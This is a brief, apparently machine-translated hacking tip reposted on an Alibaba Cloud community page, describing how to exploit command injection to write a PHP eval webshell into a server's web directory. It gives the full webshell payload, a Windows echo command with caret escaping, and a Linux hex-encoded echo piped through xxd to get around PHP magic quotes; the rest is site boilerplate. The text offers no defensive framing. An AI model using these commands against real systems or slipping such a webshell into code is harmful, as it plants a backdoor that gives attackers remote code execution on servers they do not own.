Command Injection to write webshell

Source: Internet
Author: User

Using command injection to write a php webshell to the web directory involves escaping some special characters. Suppose you need to write <? Php eval ($ _ POST [pandas]);?>, The method is as follows: WINDOWS: escape with ^ <, that is, execute echo ^ <? Php eval ($ _ POST [pandas]);? ^> Web writable directory LINUX: escape using \ in linux <, but gpc is enabled by default in many php versions. I didn't come up with a solution at the beginning. Later I thought of a method. I first used hexadecimal to convert a sentence and then used the xxd command to restore the hexadecimal system. The command is as follows: echo 3c3f706870206576616c28245f504f53545b70616e6461735d293b203f3e | xxd-r-ps> writable web directory

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.